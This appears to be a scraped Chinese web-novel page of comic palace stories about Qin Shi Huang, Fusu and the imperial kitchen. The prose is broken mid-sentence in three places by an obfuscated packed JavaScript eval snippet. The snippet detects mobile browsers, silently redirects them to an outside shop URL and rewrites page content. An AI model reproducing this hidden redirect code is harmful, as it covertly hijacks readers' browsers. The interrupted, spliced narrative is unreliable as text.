那几人笑声戛然而止,惊恐地转过头,看向嬴政。 “你……你是谁?”一人警惕地问道。 嬴政笑了笑,又切换成韩语:“我是谁不重要,重要的是,几位刚才说的话,若是传到陛下耳朵里,怕是要掉脑袋的。” 几人脸色瞬间惨白,冷汗涔涔而下。 “你……你听得懂?”那人颤抖着问。 “略懂一二。”嬴政放下酒杯,站起身,走到他们面前,居高临下地看着他们,眼神冰冷,“不仅听得懂赵语、韩语,魏语、楚语、燕语、齐语……朕,都略懂。” “朕”字一出,几人如遭雷击,腿一软,噗通一声跪倒在地,磕头如捣蒜。 “陛……陛下饶命!陛下饶命啊!” “朕不杀你们。”嬴政淡淡道,“不过,既然你们觉得在咸阳无聊,那便去骊山修陵吧,那里……正缺人手。” “谢……谢陛下不杀之恩!”几人哭喊着被蒙毅拖了出去。 阿弃看着这一幕,忍不住竖起大拇指:“陛下,您这招‘钓鱼执法’,高!实在是高!” 嬴政重新坐下,给自己倒了杯酒,心情愉悦:“看来,这方言,没白学。” 第四章:御书房里的“翻译官” 自从嬴政展现出惊人的语言天赋后,朝堂上下的风气为之一变。 以前,大臣们上奏,总喜欢引经据典,用些生僻字眼,显得自己学问高深。 现在,没人敢这么干了。谁知道陛下会不会突然用你家乡的方言问你一句,你要是答不上来,或者理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387646|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了,那乐子可就大了。 这日,一位来自魏地的郡守入宫述职。 “陛下,臣所辖郡县,今年风调雨顺,粮食增产三成,百姓无不感念陛下恩德……”郡守操着一口浓重的魏地口音,说得唾沫横飞。 嬴政听得昏昏欲睡,突然打断他:“爱卿,你刚才说,百姓感念朕的恩德?” “是……是啊陛下!” “朕怎么听着,你刚才那句魏语,说的是''百姓都在骂朕是个昏君''呢?”嬴政眯起眼睛,手指轻轻敲击桌面。 郡守吓得魂飞魄散,噗通一声跪倒:“陛下明鉴!臣……臣绝无此意!是臣口音太重,陛下听错了!” “是吗?”嬴政看向一旁的阿弃,“阿弃,你听清楚了吗?” 阿弃会意,立刻板着脸,用一口流利的魏语说道:“回陛下,臣听得清清楚楚,这位大人刚才确实说了''昏君''二字,还说了陛下您……''横征暴敛,不得好死''。” 郡守:“……”我冤啊!我什么时候说了! “来人,”嬴政挥挥手,“拖出去,重打二十大板,让他长长记性,以后说话……说清楚点。” “诺!” 处理完郡守,嬴政看向阿弃,眼中带着赞许:“阿弃,你的魏语,进步不小。” 阿弃嘿嘿一笑:“都是陛下教得好。不过陛下,您刚才是不是有点……太欺负人了?” “欺负人?”嬴政挑眉,“朕这是在教他们,什么叫''祸从口出''。让他们知道,在朕面前,别说谎,别说坏话,因为……朕听得懂。” 阿弃看着陛下那副“朕就是故意的”表情,心中默默为满朝文武点了根蜡。 第五章:尾声·真正的“大一统” 几个月后,嬴政的方言学习取得了显著成效。 他不仅能听懂六国方言,甚至还能用各地的方言,给当地来的官员“训话”。 对楚地官员,他用楚语,语气温和,带着几分安抚:“你们楚人重情义,朕知晓。只要你们忠心为国,朕必不负你们。” 对燕赵官员,他用燕赵腔,语气豪迈,带着几分激赏:“燕赵多慷慨悲歌之士,朕心向往之。望尔等继续为大秦开疆拓土!” 对齐鲁官员,他用齐语,语气庄重,带着几分尊重:“齐鲁之地,乃礼仪之邦,朕还需向你们多请教。” 这一招“攻心为上”,效果出奇的好。各地官员见陛下竟然如此了解他们的文化,甚至能用他们的乡音交谈,心中的隔阂和抵触大大减少,对大秦的归属感也日益增强。 “陛下,”李斯心悦诚服地赞叹道,“您此举,实乃高明。言语一通,人心自通。这比单纯的武力镇压,要有效得多。” 嬴政站在章台殿的高台上,俯瞰着这座日益繁华的都城,缓缓道:“李斯,你知道朕为何要统一文字、度量衡,如今又要学方言吗?” “臣……不知。” “因为朕要的,不是一个拼凑起来的帝国。”嬴政的目光深邃,“朕要的,是一个真正的大一统。书同文,车同轨,行同伦……如今,还要语同音。要让这天下人,虽远隔千里,却能听懂彼此的话,看懂彼此的字,拥有同一个身份——秦人。” 李斯闻言,浑身一震,深深拜服:“陛下圣明!” 嬴政笑了笑,转身看向一直跟在身后的阿弃:“阿弃,朕听说,你最近在学……百越之地的方言?” 阿弃一愣,随即苦着脸:“陛下,您就别为难臣了。那百越话,叽里呱啦的,听着跟鸟叫似的,臣实在是学不会啊!” “学不会也要学。”嬴政拍了拍他的肩膀,眼中闪烁着野心勃勃的光芒,“因为下一步,朕要去的地方……就是百越。” 阿弃看着陛下那充满斗志的眼神,突然觉得,这大秦的疆域,怕是要在陛下的“语言攻势”下,无限扩大了。 “诺……”阿弃有气无力地应道,心里已经开始盘算,该去哪里找个靠谱的百越翻译了。 关于陛下最近在学六国方言这件事,起初被视为奇闻异事,如今却成了大秦帝国走向真正融合的缩影。 毕竟,没有什么比听懂对方的心声,更能拉近彼此的距离了。 6. 扶苏的狗当爹了 上郡的风,带着塞外的沙砾,刮在脸上生疼。 扶苏站在简陋的庭院里,看着眼前这窝刚出生的小奶狗,眉头皱得能夹死苍蝇。 一共六只。毛茸茸,肉乎乎,挤在母狗“踏雪”的怀里,哼哼唧唧地找奶吃,看着甚是可爱。 但问题是—— “公子,”侍卫长王离蹲在一旁,小心翼翼地指了指其中一只,“您看这只……是不是有点……不对劲?” 扶苏顺着他的手指看去。 那是六只小狗里个头最大、抢奶最凶的一只。它的兄弟姐妹们,要么是纯黑色,要么是黑底白爪,继承了父亲“踏雪”那标志性的北地神犬特征。 唯独这一只。 通体雪白,毛发卷曲,耳朵软趴趴地耷拉着,鼻头粉嫩,眼睛又大又圆,此刻正叼着□□,吃得正欢,甚至还惬意地摇了摇那条……毛茸茸的、像鸡毛掸子一样的尾巴。 扶苏深吸一口气,抬头看向趴在狗窝旁,一脸“慈爱”地看着孩子们的踏雪。 踏雪似乎察觉到了主人的目光,抬起头,骄傲地“汪”了一声,仿佛在说:看,我厉害吧!生了这么多! 扶苏又转头看向王离,语气艰涩:“踏雪……最近有没有接触过别的狗?” 王离立刻摇头,斩钉截铁:“绝对没有!公子您吩咐过,踏雪是御赐神犬,必须严加看管。这三个月,它除了在院子里晒太阳,就是去军营看咱们操练,连只母苍蝇都没见过!” “那这只……”扶苏指着那只小白狗,手指都在抖,“是哪里来的?” 王离挠了挠头,也是一脸茫然:“臣……臣也不知道啊。踏雪怀孕的时候,臣还特意加强了守卫,就怕有不长眼的野狗……咳咳。但这小白狗,看着也不像咱们这儿的土狗啊。” 扶苏蹲下身,伸出手,轻轻碰了碰那只小白狗的脑袋。 小白狗被惊动了,松开□□,睁开湿漉漉的大眼睛,看了扶苏一眼,然后张开嘴,发出了它狗生中的第一声—— “嗷呜~呜~” 声音软糯,娇滴滴,带着一股子撒娇的意味,和旁边踏雪那浑厚低沉的“汪”声,以及兄弟姐妹们粗嘎的“呜呜”声,形成了鲜明的对比。 扶苏眼前一黑。 这叫声……怎么听着这么耳熟? 他猛地站起身,看向咸阳宫的方向,心中涌起一股不祥的预感。 “王离。” “臣在。” “收拾东西。”扶苏沉声道,“准备回咸阳。” “啊?公子,咱们不是才来上郡半年吗?陛下那边……” “就是因为陛下那边。”扶苏看着那只还在“嗷呜嗷呜”叫唤的小白狗,牙关紧咬,“再不回去,我怕咱们都得去骊山修陵。” 第二章:咸阳宫的“亲子鉴定” 咸阳宫,章台殿。 嬴政正在批阅奏章,黑煞趴在他脚边,舔着爪子,神情慵懒。 “陛下,扶苏公子求见。”内侍来报。 “哦?扶苏回来了?”嬴政放下笔,有些意外,“宣。” 扶苏走进大殿,神色有些憔悴,怀里还抱着一个用锦缎包裹的……篮子。 “儿臣参见父皇。”扶苏行礼,声音带着一丝不易察觉的颤抖。 “起来吧。”嬴政看着他,“上郡苦寒,你怎么突然回来了?可是军中有变?” “回父皇,军中一切安好。”扶苏深吸一口气,将手中的篮子轻轻放在地上,“儿臣……是回来报喜的。” “报喜?”嬴政挑眉,“何喜之有?” “踏雪……当爹了。”扶苏硬着头皮说道。 “哦?”嬴政来了兴趣,站起身,走下御座,“踏雪生了?生了几个?像不像它?” “生了六个。”扶苏一边说,一边掀开篮子上的锦缎,“前五个……都像它。” 篮子里,五只黑白相间的小奶狗挤作一团,哼哼唧唧,看着虎头虎脑,颇有乃父之风。 嬴政满意地点点头:“嗯,不错,是踏雪的神韵。看来蒙恬没骗朕,这北地神犬,血统纯正。” “至于这第六个……”扶苏的声音越来越小。 嬴政的目光落在篮子角落。那里,一只小白狗正四脚朝天地呼呼大睡,雪白的卷毛随着呼吸一颤一颤,粉嫩的小肚子圆鼓鼓的。 空气突然安静了。 黑煞原本在打盹,闻到陌生的气味,警惕地抬起头,走到篮子边,嗅了嗅那五只黑白小狗,没什么反应。当它凑到小白狗面前时,动作突然停住了。 它围着小白狗转了两圈,鼻子耸动,然后伸出爪子,轻轻扒拉了一下小白狗的脑袋。 小白狗被弄醒了,不耐烦地睁开眼,看到黑煞,似乎愣了一下,然后—— “喵~?” 一声极轻微、极短促,带着试探和疑惑的……猫叫。 “……” 扶苏绝望地闭上了眼睛。 嬴政脸上的笑容僵住了。他缓缓抬起头,看着扶苏,眼神锐利如刀:“扶苏,你告诉朕,这是……怎么回事?” “父、父皇,”扶苏冷汗涔涔,“儿臣……儿臣也不知道。踏雪怀孕期间,一直严加看管,绝无……” “绝无什么?”嬴政弯腰,拎起那只小白狗的后颈皮,将它提到眼前,仔细端详。 小白狗似乎觉得这个姿势不舒服,扭动着身体,嘴里发出不满的“呜呜”声,四条小短腿在空中乱蹬。 “这毛色,”嬴政用手指捻了捻那卷曲的白毛,“这眼睛,这叫声……” 他转头看向脚边的黑煞。 黑煞似乎也意识到了什么,它走到小白狗面前,仰起头,对着小白狗,发出了一声威严的—— “喵!” 仿佛在说:小子,我是你爹! 小白狗被吓了一跳,缩了缩脖子,然后不甘示弱地回敬了一声—— “汪!” 声音虽然稚嫩,但气势十足。 黑煞愣了一下,似乎被这声“汪”镇住了,随即恼羞成怒,抬起爪子就要拍下去。 “够了!”嬴政低喝一声。 黑煞悻悻地收回爪子,趴回嬴政脚边,但眼睛依旧死死盯着小白狗,喉咙里发出“呼噜呼噜”的威胁声。 小白狗似乎也知道自己闯了祸,缩在嬴政手心,瑟瑟发抖,一双大眼睛泪汪汪地看着嬴政,嘴里发出可怜兮兮的“呜呜”声。 嬴政看着手心这只既不像狗、又不像猫的小东西,又看了看一脸“我冤枉”的扶苏,和一脸“我是正宫”的黑煞,只觉得太阳穴突突直跳。 “扶苏。” “儿臣在。” “这狗……”嬴政顿了顿,似乎在斟酌用词,“是你养的?” “是……” “这猫,是朕养的。” “是……” “那你告诉朕,”嬴政举起小白狗,语气平静得可怕,“它是怎么跨越千里,从上郡跑到咸阳,钻进踏雪的肚子里的?” 扶苏:“……”父皇,这个问题,臣也想知道啊! 扶苏抱着篮子,失魂落魄地走出章台殿。 他不用回头,都能感觉到身后父皇那意味深长的目光,和黑煞那充满敌意的眼神。 “完了。”扶苏喃喃自语,“本公子的清白,毁了。” 消息像长了翅膀一样,迅速传遍了整个咸阳宫。 “听说了吗?扶苏公子的狗,生了只猫!” “什么猫?那是狗!会猫叫的狗!” “不对不对,是猫!长得跟黑煞大人一模一样!” “天哪,难道踏雪将军和黑煞大人……” “嘘!小声点!不要命了!” 李斯在走廊上遇到扶苏,看着他怀里篮子中那只显眼的小白狗,嘴角抽搐了一下,拍了拍扶苏的肩膀:“公子,节哀。” 蒙毅看到扶苏,叹了口气,递上一根骨头:“公子,给踏雪补补身子,它……辛苦了。” 就连平日里和扶苏不对付的胡亥,也特意跑过来,围着篮子转了两圈,啧啧称奇:“大哥,你这狗……挺别致啊。父皇没让你去骊山?” 扶苏:“……”我现在就去还来得及吗? 回到寝宫,扶苏将篮子放在桌上,看着里面睡得正香的小白狗,欲哭无泪。 踏雪凑过来,用鼻子拱了拱小白狗,眼神温柔,似乎并不在意这孩子长得像谁。 “你倒是心大。”扶苏戳了戳踏雪的脑袋,“你知道你给我们老赢家惹了多大的麻烦吗?” 踏雪“汪”了一声,摇了摇尾巴,似乎在说:多大点事,不就是长得像隔壁老王吗? 这时,小白狗醒了,它爬出篮子,摇摇晃晃地走到桌边,对着扶苏放在那里的一盘点心,伸出了爪子。 “那是桂花糕,你不能吃。”扶苏赶紧拦住它。 小白狗歪着头看了扶苏一眼,然后纵身一跃—— 它没跳上桌子,反而一头撞在桌腿上,摔了个四脚朝天。 “……”扶苏无语,伸手把它扶起来。 小白狗似乎觉得丢脸,气呼呼地对着桌腿“汪汪”叫了两声,然后转过身,屁股一撅,开始……刨地。 那是猫科动物埋屎的标准动作。 扶苏看着它把地毯刨得一团糟,终于忍无可忍,一把拎起它:“走!跟我去见你亲爹!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387647|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 章台殿。 嬴政看着跪在地上的扶苏,和在他脚边对着地毯疯狂输出的“猫狗混合体”,眉头紧锁。 “父皇,”扶苏硬着头皮道,“儿臣思来想去,此事……必有蹊跷。” “哦?”嬴政挑眉,“什么蹊跷?” “踏雪在上郡,守卫森严,绝无可能接触外狗。而黑煞在咸阳,深居宫中,更不可能去上郡。”扶苏抬起头,眼神坚定,“所以,这只小狗,绝不可能是踏雪和黑煞所生。” “那它是哪来的?”嬴政问。 “儿臣以为……”扶苏深吸一口气,说出了自己大胆的猜测,“它可能是……返祖。” “返祖?” “是。”扶苏点头,“踏雪乃北地神犬,血统古老。或许,它的祖先中,曾有与猫……咳咳,与某种白毛卷耳生物通婚的先例。如今隔代遗传,便生出了这只……与众不同的后代。” 嬴政看着扶苏,眼神古怪:“你的意思是,踏雪的祖宗,是只猫?” 扶苏:“……”父皇,您非要说得这么直白吗? “荒谬。”嬴政冷哼一声,“就算返祖,也该返成狼,返成狐狸,怎么会返成猫?” “这……”扶苏语塞。 就在这时,那只小白狗似乎刨累了,打了个哈欠,摇摇晃晃地走到黑煞面前,用脑袋蹭了蹭黑煞的腿。 黑煞原本一脸嫌弃,被它蹭了几下,态度似乎软化了一些,伸出舌头,舔了舔小白狗的脑袋。 小白狗舒服地眯起眼,喉咙里发出“呼噜呼噜”的声音,然后顺势一倒,躺在黑煞怀里,睡着了。 黑煞愣了一下,看着怀里这个柔软的小东西,犹豫了片刻,最终没有把它踢开,而是调整了一下姿势,让它睡得更舒服些。 嬴政和扶苏看着这一幕,都沉默了。 “父皇,”扶苏小声说道,“您看,黑煞它……好像认了。” 嬴政看着那一大一小依偎在一起的身影,眼中闪过一丝复杂的神色。 他想起自己小时候,在赵国为质,也曾养过一只捡来的流浪狗。后来狗死了,他哭了好久。 或许,血缘并不重要,重要的是……陪伴。 “罢了。”嬴政挥挥手,语气缓和了些,“既然生了,就养着吧。” 扶苏心中一喜:“谢父皇!” “不过,”嬴政话锋一转,看着扶苏,“这只狗……猫,既然长得像黑煞,那便留在宫里,由黑煞亲自教导。免得跟你回了上郡,学得一身……狗脾气。” 扶苏:“……”父皇,您这是要抢我孙子啊! “至于你,”嬴政瞥了扶苏一眼,“教狗无方,罚俸半年,回去好好反省。” “诺……”扶苏苦着脸应道。罚俸就罚俸吧,总比去骊山强。 从那以后,咸阳宫多了一位特殊的成员。 它没有正式的名字,宫人们私下里叫它“小白”,或者“猫狗大人”。 它时而像狗一样,摇着尾巴跟在黑煞身后巡视领地;时而像猫一样,跳上御案,打翻嬴政的砚台,然后在嬴政发火前,用那双无辜的大眼睛看着他,发出软糯的“喵呜”声,让嬴政的火气瞬间烟消云散。 它最喜欢做的事,就是趴在嬴政批阅奏章的桌案上,把那些枯燥的竹简当玩具,推来推去。嬴政也不恼,反而觉得有趣,甚至会在它玩累睡着时,给它盖上自己的披风。 扶苏每次回宫,看到这一幕,心情都很复杂。 “父皇,”他忍不住说道,“您是不是太宠它了?” 嬴政头也不抬,轻轻抚摸着趴在他腿上睡觉的小白:“怎么?嫉妒了?” “儿臣不敢。”扶苏顿了顿,小声道,“只是……它毕竟长得不像踏雪。” “像不像,重要吗?”嬴政抬起头,看着扶苏,目光深邃,“它既然来到了这世上,便是天意。朕是大秦的皇帝,天下万物,皆是朕的子民。只要它忠心,长得像猫还是像狗,又有什么关系?” 扶苏愣住了,看着父皇眼中那包容万物的气度,心中涌起一股敬佩。 “父皇圣明。” 嬴政笑了笑,低头看着怀里的小家伙:“再说了,它虽然长得像猫,但叫起来……” 似乎是听到了自己的名字,小白迷迷糊糊地抬起头,张开嘴—— “汪!” 声音清脆响亮,带着一股子初生牛犊不怕虎的劲儿。 嬴政满意地点点头:“听,还是狗叫。” 扶苏看着这一幕,也笑了。 是啊,不管外表如何,只要心是热的,叫声是响亮的,那就是一条好狗。 哪怕……它爹可能真的有点绿。 7. 今日御膳房也在努力不让陛下饿着 咸阳宫,御膳房。 空气中弥漫着浓郁的香气,那是用文火慢炖了整整一夜的熊掌,汤汁浓白,肉质酥烂,入口即化。旁边是刚从东海快马加鞭运来的大黄鱼,清蒸之后淋上热油,鲜香扑鼻。还有烤得滋滋冒油的鹿肉,撒上了西域进贡的孜然和胡椒,色泽金黄,诱人无比。 御厨总管王胖子站在长案前,看着这一桌丰盛的御膳,却愁得眉头能夹死苍蝇。 “怎么样?送进去了吗?”他拉住刚从章台殿回来的小太监,急切地问道。 小太监哭丧着脸,摇了摇头,指了指身后原封不动被抬回来的食盒:“总管,陛下……陛下又没动筷子。就喝了两口汤,说没胃口,让撤了。” 王胖子眼前一黑,差点晕过去。 这已经是这个月第七次了。 自从陛下横扫六国,登基称帝之后,这胃口就一天不如一天。以前在军营里,陛下还能就着咸菜啃两个硬面饼,现在山珍海味摆了一桌,他却连看都不看一眼。 “这可如何是好……”王胖子急得团团转,“再这么下去,陛下龙体若是饿坏了,咱们御膳房上下,都得去骊山修陵啊!” “总管,要不……咱们换个花样?”一个年轻御厨提议道,“听说齐地的‘九转大肠’不错,要不试试?” “试什么试!”王胖子瞪了他一眼,“上次做的那个‘九转大肠’,陛下看了一眼,说太油腻,直接赏给门口的大黄狗了,狗都没吃完!” “那……楚地的‘冰糖肘子’?” “太甜!陛下不喜甜食!” “燕地的‘烤全羊’?” “太膻!” 众人七嘴八舌,却拿不出一个靠谱的主意。陛下如今的口味,简直比六国余孽的心思还难猜。 “都给我闭嘴!”王胖子一拍桌子,震得碗碟乱跳,“今日若是再不能让陛下吃下一口饭,咱们就集体绝食,陪陛下一起饿着!” 就在御膳房一片愁云惨雾之时,救星来了。 “王总管,这是怎么了?一个个哭丧着脸。”李斯迈着方步走进御膳房,手里还拿着一卷竹简。 “李相!您可算来了!”王胖子如同见到了亲爹,扑上去抓住李斯的手,“您快给想个办法吧!陛下又没吃饭,再这么下去,臣……臣只能以死谢罪了!” 李斯看了一眼桌上纹丝未动的御膳,皱了皱眉:“陛下还是没胃口?” “何止没胃口!”王胖子苦着脸,“陛下现在看到肉就皱眉,看到鱼就摆手,就连平日里最爱吃的‘羊肉泡馍’,如今也只吃一口就放下。李相,您说,陛下是不是……是不是得了厌食症?” “厌食症?”李斯摸了摸下巴,若有所思,“陛下不是厌食,是……吃腻了。” “吃腻了?”王胖子一愣,“这可都是各地进贡的顶级食材啊!熊掌、鹿尾、鲍参翅肚……” “就是这些东西吃多了,才会腻。”李斯摇摇头,“你想,陛下以前在军营,吃的是什么?粗粮、咸菜、偶尔有点肉腥。如今顿顿大鱼大肉,就是神仙也受不了。” “那……那怎么办?”王胖子急了,“总不能给陛下吃咸菜吧?那要是让御史知道了,非参咱们一个‘大不敬’不可!” “咸菜……”李斯眼中精光一闪,突然笑了,“王总管,你还别说,这或许是个办法。” “啊?”王胖子傻眼了,“李相,您可别开玩笑!给陛下吃咸菜,那是要掉脑袋的!” “不是真让你只做咸菜。”李斯凑近王胖子,压低声音,“陛下如今,缺的不是山珍海味,缺的是……新鲜感,是烟火气。” “烟火气?” “对。”李斯点点头,“你想想,陛下每日在章台殿批阅奏章,面对的都是冷冰冰的竹简和数字。若是能用食物,勾起陛下一些……美好的回忆,或许会有奇效。” “美好的回忆?”王胖子似懂非懂。 “比如……”李斯指了指窗外,“比如陛下当年在赵国为质时,吃过的街头小吃?或者在军营里,和将士们同甘共苦时吃的那些粗粮?” 王胖子眼睛一亮:“对啊!我怎么没想到!陛下念旧啊!” “不过,”李斯话锋一转,正色道,“此事需谨慎。不能直接给陛下吃粗粮,得……包装一下。” “包装?” “就是把粗粮,做得像山珍海味。”李斯拍了拍王胖子的肩膀,“王总管,这可是个技术活,看你的了。” 送走李斯,王胖子立刻召集御膳房所有骨干,开了个紧急会议。 “听着,今日的晚膳,咱们不做什么熊掌鹿肉了。”王胖子大手一挥,“咱们做……粥。” “粥?”众御厨面面相觑。 “对,粥!”王胖子眼中闪烁着智慧的光芒,“但不是普通的粥。要用最普通的食材,做出最不普通的味道!” “总管,您说要怎么做?” “去,把库房里的陈年小米找出来,要那种带着糠皮的!”王胖子吩咐道,“再去找些新鲜的野菜,要带点苦味的!还有,上次陛下赏赐的辽东干贝,拿几个出来,剁碎了当提鲜用!” “总管,这……这能好吃吗?”一个御厨怀疑道。 “好不好吃不重要,重要的是……情怀!”王胖子一脸高深莫测,“这叫‘忆苦思甜粥’!懂吗?” 众御厨似懂非懂地点点头,开始忙活起来。 一个时辰后,一碗热气腾腾的粥端了上来。 粥色金黄,米粒开花,上面撒着切得细碎的野菜末和干贝丝,还滴了几滴香油。看起来……朴实无华,但闻着,却有一股奇异的香气,混合着粮食的醇厚和野菜的清香。 “总管,这……这能行吗?”小太监看着这碗“简陋”的粥,心里直打鼓。 “行不行,试试才知道。”王胖子深吸一口气,亲自端着托盘,往章台殿走去。 章台殿内,嬴政正对着地图发呆,眉头紧锁。匈奴又在边境骚扰,军粮运输出了问题,让他心烦意乱。 “陛下,该用晚膳了。”内侍小心翼翼地说道。 “撤了,朕没胃口。”嬴政头也不抬。 “陛下,今日御膳房……做了点新鲜的。”王胖子跪在地上,将托盘高高举起。 “新鲜的?”嬴政瞥了一眼,看到那碗黄澄澄的粥,愣了一下,“这是什么?” “回陛下,此乃……‘黄金万两粥’。”王胖子硬着头皮瞎编了个名字。 “黄金万两?”嬴政挑眉,放下手中的笔,走到近前,闻了闻,“味道倒是……有点熟悉。” 他拿起勺子,舀了一勺,送进嘴里。 王胖子紧张得心脏都快跳出来了。 粥入口,温热粘稠,米香浓郁。咀嚼之下,野菜的微苦混合着干贝的鲜甜,在口中化开,带着一丝淡淡的咸味,瞬间勾起了嬴政久远的记忆。 那是很多年前,他在赵国为质的时候。冬天很冷,吃不饱饭,一个老仆偷偷给他煮了一碗野菜小米粥。那是他吃过最香的一顿饭。 后来,他回了秦国,当了秦王,吃了无数山珍海味,却再也没有尝过那种味道。 “这粥……”嬴政又舀了一勺,慢慢品味,“是用什么做的?” “回陛下,是用陈年小米,配以田间野菜,佐以少许干贝提鲜。”王胖子老实回答。 “陈年小米……野菜……”嬴政点点头,眼中闪过一丝怀念,“不错,有股……烟火气。” 他又吃了几口,突然问道:“这野菜,是哪里来的?” “是……是御花园里自己长的。”王胖子冷汗下来了,生怕陛下怪罪他们拿野草糊弄。 “御花园?”嬴政失笑,“看来朕的御花园,该除草了。” 他放下勺子,看着那碗见底的粥,意犹未尽:“明日,再做一碗。” “诺!诺!”王胖子大喜过望,连连磕头。 第四章:咸阳街头的小吃摊 一碗粥的成功,让王胖子信心大增。 接下来的几天,御膳房彻底放飞自我,开始在“情怀”和“烟火气”的道路上狂奔。 “陛下,今日有‘珍珠翡翠白玉汤’。”——其实就是豆腐青菜汤,加了几颗小丸子。 “陛下,今日有‘步步高升糕’。”——其实就是玉米面窝头,蒸得松软了些。 “陛下,今日有‘鸿运当头’。”——其实就是烤红薯,切开了撒点糖。 嬴政吃得津 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387648|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津有味,甚至比平时多吃了半碗饭。 然而,好景不长。这天,嬴政刚拿起一个窝头,咬了一口,突然停住了。 “王胖子。” “臣在!”王胖子心里咯噔一下。 “这窝头,味道是不错。”嬴政放下窝头,看着他,“但朕总觉得,少了点什么。” “少了……什么?” “少了点……人气。”嬴政站起身,走到窗边,看着远处的咸阳城,“在宫里吃,总觉得隔着一层。朕想吃点……真正市井里的东西。” 王胖子傻眼了。市井里的东西?难道要把路边摊搬进宫里? “陛下,这……这不卫生啊!”王胖子急道。 “无妨。”嬴政摆摆手,“朕当年在军营,什么没吃过?去,给朕弄点咸阳街头最火的小吃来。” “诺……”王胖子欲哭无泪,只能领命而去。 半个时辰后,王胖子带着几个小太监,拎着几个食盒,气喘吁吁地跑回来。 “陛下,这是咸阳东市最有名的‘张记肉夹馍’,这是‘李记胡辣汤’,这是‘王婆豆腐脑’……” 食盒打开,一股浓郁的、带着市井喧嚣气息的香味扑面而来。 嬴政眼睛一亮,拿起一个肉夹馍,咬了一大口。馍外酥里嫩,肉肥瘦相间,汤汁浓郁,满口留香。 “嗯!就是这个味!”嬴政满意地点点头,“比宫里的什么‘金丝酥饼’好吃多了!” 他又端起胡辣汤,喝了一口,辛辣爽口,额头顿时冒出了细汗。 “痛快!”嬴政大笑,“这才是人吃的东西!” 王胖子看着陛下吃得满嘴流油的样子,心里又是高兴又是后怕。高兴的是陛下终于肯吃饭了,后怕的是……这要是让御史知道了,非参他一个“亵渎圣体”不可。 “王胖子,”嬴政吃饱喝足,擦了擦嘴,看着王胖子,“你今日有功。说吧,想要什么赏赐?” 王胖子噗通一声跪下:“臣不敢要赏赐!只要陛下龙体安康,臣就心满意足了!” “嗯,忠心可嘉。”嬴政点点头,话锋一转,“不过,朕有个要求。” “陛下请讲。” “明日,朕不想在宫里吃了。”嬴政看着窗外,眼中闪过一丝向往,“朕要去街上吃。” 王胖子:“!!!” 次日,咸阳街头。 一个不起眼的面摊前,嬴政换了一身普通富商的衣裳,正坐在矮凳上,吸溜吸溜地吃着一碗臊子面。李斯和蒙毅扮作随从,坐在旁边,一脸紧张地东张西望。 “老板,再来一碗!”嬴政吃完,意犹未尽地喊道。 “好嘞!”面摊老板手脚麻利地又下了一碗,端上来,看着嬴政,笑道,“客官,看您这吃相,像是饿了好几天了。” 嬴政哈哈大笑:“老板好眼力。你这面,确实好吃。” “那是!”老板得意道,“我这臊子,可是祖传秘方!就连……嘿嘿,就连宫里的御厨,都做不出这个味!” 旁边的王胖子脸一黑,差点把手里的筷子捏断。 嬴政瞥了王胖子一眼,强忍住笑意:“哦?老板还吃过御膳?” “那倒没有。”老板摇摇头,“不过我听说,宫里的东西,看着好看,吃着没味。还是咱们这街边小摊,实在!” “说得好!”嬴政一拍桌子,端起碗,将汤也喝了个精光,“实在!这才是过日子!” 他放下碗,看着熙熙攘攘的街道,看着百姓们为了几文钱讨价还价,看着孩童们举着糖葫芦奔跑,心中涌起一股久违的暖意。 “李斯。” “臣在。” “以后,每月初一,咱们都出来吃一顿。”嬴政站起身,拍了拍身上的灰尘,“这宫里,太冷清了。朕得时不时出来沾沾人气,不然,这饭都吃不香。” 李斯和蒙毅对视一眼,都从对方眼中看到了无奈和……一丝笑意。 “诺,陛下。” 王胖子在一旁,长长地松了口气。 看来,以后御膳房的工作,要分成两半了。一半负责宫里的大鱼大肉撑场面,另一半……负责研究咸阳街头的小吃攻略。 毕竟,陛下他……太会吃了。 8. 咸阳宫第一届美食节翻车实录 咸阳宫,御书房。 李斯捧着厚厚一摞竹简,满脸红光,激动得手都在抖。 “陛下!大喜!天大的喜事啊!” 嬴政放下手中的朱笔,揉了揉眉心:“何事如此惊慌?莫非匈奴单于主动投降了?” “比那还喜!”李斯将竹简呈上,“陛下,您看!这是各地郡守呈报上来的数据,自推行‘统一度量衡’和‘车同轨’以来,我大秦商贸繁荣,各地特产流通加速。光是这三个月,咸阳城的税收就翻了一倍!” “哦?”嬴政接过竹简,快速浏览,眼中闪过一丝满意,“嗯,不错。看来朕的新政,初见成效。” “何止初见成效!”李斯兴奋道,“陛下,臣以为,此乃天赐良机,当趁热打铁,进一步提振民心,展示我大秦盛世之象!” “如何展示?” 